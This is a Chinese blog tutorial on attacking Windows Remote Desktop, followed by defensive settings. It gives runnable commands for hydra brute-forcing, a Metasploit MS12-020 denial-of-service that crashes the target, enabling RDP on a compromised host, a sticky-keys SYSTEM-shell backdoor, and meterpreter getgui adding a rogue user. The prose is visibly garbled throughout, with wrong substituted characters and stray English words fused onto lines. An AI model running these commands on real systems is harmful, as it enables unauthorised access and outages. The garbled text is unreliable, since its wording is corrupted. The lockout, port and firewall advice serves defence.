远程桌面(RDP)上的渗透测试技巧和防护

 

0x00 前言

在本文中,咱们将讨论四种状况下的远程桌面渗透测试技巧方法。经过这种攻击方式,咱们试图获取攻击者如何在不一样状况下攻击目标系统,以及管理员在激活RDP服务时来抵御攻击时应采起哪些主要的防护手段。远程桌面协议(RDP也称为终端服务客户端,是Microsoft开发的专有协议,为用户提供经过网络链接远程登陆到另外一台计算机的图形界面。RDP服务器内置于Windows操做系统中默认状况下,服务器监听TCP  端口3389 shell

0x01  RDP服务攻击

1.RDP暴力破解攻击

让咱们开始吧!windows

假设admin已容许其系统中的远程桌面服务进行本地网络链接。api

1.1使用nmap扫描RDP安全

攻击者能够借助nmap来验证端口3389是否被打开。对于RDP渗透,咱们还使用nmap来扫描目标系统(192.168.0.102)以获取开放式RDP的端口。服务器

nmap -p 3389 192.168.0.102网络

若是容许远程桌面服务,则nmap将显示OPEN做为端口3389的状态,以下图所示:session

 

1.2.RDP进行暴力攻击框架

为了与RDP链接,咱们老是须要登陆凭证做为通过身份验证的链接。有效用户凭证能够输入它的用户名和密码,但无效用户(攻击者)没法猜出正确的登陆凭据,所以须要经过暴力攻击来获取登陆凭证。编辑器

咱们正在使用hydra来展现对RDP进行暴力攻击。Hydra:它是一个并行登陆破解程序,支持多种协议攻击。它很是快速灵活,新模块易于添加。在kali Linux中打开终端并输入如下命令:post

Hydra -v -f -L /root/Desktop/user.txt -P /root/Desktop/dict.txt rdp//192.168.0.102

从下面的截图中能够看到正确地获取到用户名:ignite和密码:123456,咱们经过端口3389上的暴力攻击检索到。使用此凭据攻击者能够登陆远程桌面服务。

 

2.扫描端口3389以进行DOS攻击

不少时候,为了肯定主机是否容易受到RDP攻击,攻击者使用MS12-020检查来测试其漏洞。在kali Linux下的metasploit框架中打开命令终端,如今键入如下命令来扫描漏洞

use auxiliary/scanner/rdp/ms12_020_check

msf auxiliary(ms12_020_check) > set rhosts 192.168.0.102

msf auxiliary(ms12_020_check) >set rport 3389

msf auxiliary(ms12_020_check) > exploit

从下列截图中能够看出目标是易受攻击的,如今你可使用谷歌找到它的攻击漏洞的poc.

一旦攻击知道目标端口3389易受到MS12-020-攻击的漏洞,那么将尝试使用Ms12-020_maxchannelids进行攻击。这将对目标系统发起DOS攻击。

如今键入如下命令进行DOS攻击,这将致使目标系统蓝屏

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.0.102

msf auxiliary(ms12_020_maxchannelids) > set rhost 3389

msf auxiliary(ms12_020_maxchannelids) > exploit

从以下图所示中,能够看到目标是因为某些问题致使系统正在关闭。

DoS攻击执行者一般攻击以托管在诸如银行或信用卡支付网关等高端Web服务器上的站点或服务做为目标,经过暂时或无限期地中断链接Internet的主机服务,使其目标用户没法使用机器或网络资源。

3.在受害者PC中启用RDP

若是攻击者攻击了未启用RDP服务的受害者系统,则攻击者本身可使用由Rapid 7metasploit内部构建的后渗透模块来开启RDP服务。 

如今要执行此操做,咱们必须须要一个目标系统的反弹shell。从以下图所示中,您能够看到已经获取了目标系统的反弹shell.

这里咱们得到了meterpreter的会话1,并经过bypass的会话2得到管理权限。

如今键入如下命令以生成后渗透反弹shell用以启用RDP服务

use post/windows/manage/enable_rdp

msf post(enable_rdp) > sessions

msf post(enable_rdp) >exploit

此模块能够将“sticky key”攻击应用于具备合适权限的会话中。该攻击提供了一种在RDP登陆屏幕或UAC确认对话框中使用UI级别交互获取SYSTEM shell的方法

use post/windows/manage/sticky_keys

msf post(sticky_keys) > set sessions 2

msf post(sticky_keys) >exploit

如今使用如下命令链接远程桌面:

rdesktop 192.168.0.102

它会要求提交登陆凭据,但咱们不知道,所以咱们须要发起了上面的 stick key攻击,以便咱们能够经过按照以下图所示的连续按5shift键获取RDP 的命令终端。

4.另外一种启用RDP的方法

当您已获取到受害主机系统的meterpreter会话后,启用RDP服务的命令以及选择的设置凭证。

Meterpreter> run getgui-e-u raaz-p 1234

从以下图所示中,你能够看到已经添加了用户名raaz密码1234  可进入远程桌面用户管理员的权限。如今您可使用已建立的用户进行命令登陆,命令以下

rdesktop 192.168.0.102

输入用户名raaz和密码1234用于登陆

如今已成功远程登陆系统

 

0x02 RDP攻击防护

1.添加安全策略以防止暴力破解

管理员可使用账户锁定策略保护其网络免受暴力破解攻击。在安全设置 > 账户策略 > 账户锁定策略下配置如下策略:

账户锁定持续时间:用于定义锁定账户保持时间段的策略,直到自动解锁或由管理员重置。当用户超过账户锁定阈值设置的登陆尝试时,它将锁定账户指定的时间。

账户锁定阈值:定义失败登陆尝试次数的策略,将在账户锁定持续时间指定的某段时间内锁定账户。它将容许最大数量指定尝试登陆您的账户。

被锁帐户锁定计数器:用于定义登陆尝试失败后必须通过的时间段的策略。重置时间必须小于或等于账户锁定时间。

以下实例设置

账户锁定时间: 30分钟

账户锁定阈值: 2次无效登陆尝试

被锁账户锁定计算器: 30分钟后

若是尝试次数大于  账户锁定阈值,则攻击者可能会被锁定帐户。

如今再次经过对端口3389进行暴力破解攻击来测试账户锁定策略

hydra -v -f -l ignite  -P /root/Desktop/dict.txt rdp//192.168.0.102

当攻击者检索用户名和密码时,确定会使用它们进行登陆,但正如您所看到的那样,尝试破解密码须要超过2次,所以根据设置的策略,账户应该被锁定30分钟.

让咱们经过登陆远程桌面来验证它。

打开命令终端并输入“rdesktop 192.168.0.102”,当得到目标屏幕时,输入已爆破检索的用户名和密码。从以下截图中,您能够看到咱们已经输入上面发现的用户名和密码 ignite: 123456

当攻击者提交您的凭据时,它会显示当前账户已被锁定且没法登陆的消息,以下图所示。它锁定用户的账户 ignit 30分钟,所以管理员知道有人一直试图非法访问远程桌面。经过这种方式,咱们能够防护暴力破解攻击,防止未经受权的访问。

 

2.端口修改

您能够在另外一个端口上转发端口3389以提升系统的安全性,但要在窗口操做系统中经过注册表编辑器浏览如下位置。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

从以下图所示中,您能够在右侧面板中看到端口号已被选中并单击它。

将端口从3389更改成特定端口号

您将得到一个编辑DWORD的窗口,能够在其中编辑32位值。默认状况下,它将显示d3d,它是3389的十六进制3389值替换为您选择的另外一个值(如3314),并选择十六进制做为基数,将3314转换为cf2

从以下图所示,您能够看到端口3314如今被打开

3.经过系统自带防火墙保护RDP

打开具备高级设置的防火墙的面板,而后进入其内对配置入站的远程桌面(TCP-In)配置,以经过在防火墙中设置进行一些更改来添加安全过滤器。

容许来自特定IP的流量

以后,它将打开一个窗口来更改其属性,单击范围选项。在这里,您将得到两个链接类型的面板,本地远程 IP地址。 

远程IP地址中,特定IP地址选择第二个选项,并输入要容许链接远程桌面服务的IP,以下图所示:

 

它将阻止来自其余IP的全部流量,并提升网络的安全性,以抵御任何类型的攻击。

相关文章
相关标签/搜索